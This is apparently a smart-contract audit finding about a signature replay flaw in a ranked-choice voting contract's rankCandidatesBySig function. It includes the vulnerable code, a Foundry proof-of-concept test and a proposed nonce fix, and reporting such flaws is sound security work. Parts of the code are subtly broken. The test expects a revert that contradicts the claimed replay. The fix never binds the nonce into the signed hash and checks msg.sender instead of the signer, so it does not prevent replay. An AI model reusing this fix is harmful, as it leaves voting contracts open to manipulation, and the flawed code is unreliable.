Signature Replay Attack
The rankCandidateBySig
function does not include a nonce or unique identifier in the signature process.
Proof of Code
function rankCandidatesBySig(
address[] memory orderedCandidates,
bytes memory signature
) external {
bytes32 structHash = keccak256(abi.encode(TYPEHASH, orderedCandidates));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, signature);
_rankCandidates(orderedCandidates, signer);
}
function testSignatureReplayAttack() public{
vm.prank(voters[0]);
bytes32 digest = rankedChoice.getDigest(orderedCandidates);
(uint8 v, bytes32 r, bytes32 s)=vm.sign(1,digest);
bytes memory signature=abi.encodePacked(r,s,v);
rankedChoice.rankCandidatesBySig(orderedCandidates, signature);
vm.expectRevert("Invalid signature");
rankedChoice.rankCandidatesBySig(orderedCandidates, signature);
}
In RanckedChoice.sol
file, add the bellow function and we can check using testSignatureReplayAttack
function.
function getDigest(address[] memory orderedCanidates) public view returns(bytes32){
bytes32 struchHash=keccak256(abi.encode(TYPEHASH, orderedCanidates));
return _hashTypedDataV4(struchHash);
}
Impact
An attacker could reuse valid signatures to rank candidates multiple times, leading to potential manipulation of the voting process.
Tools Used
Foundry
Recommendations
Include a nonce in the signature process to ensure each signature is unique.
mapping(address => uint256) private nonces;
function rankCandidatesBySig(
address[] memory orderedCandidates,
bytes memory signature,
uint256 nonce
) external {
require(nonce == nonces[msg.sender], "Invalid nonce");
bytes32 structHash = keccak256(abi.encode(TYPEHASH, orderedCandidates));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, signature);
nonces[msg.sender]++;
_rankCandidates(orderedCandidates, signer);
}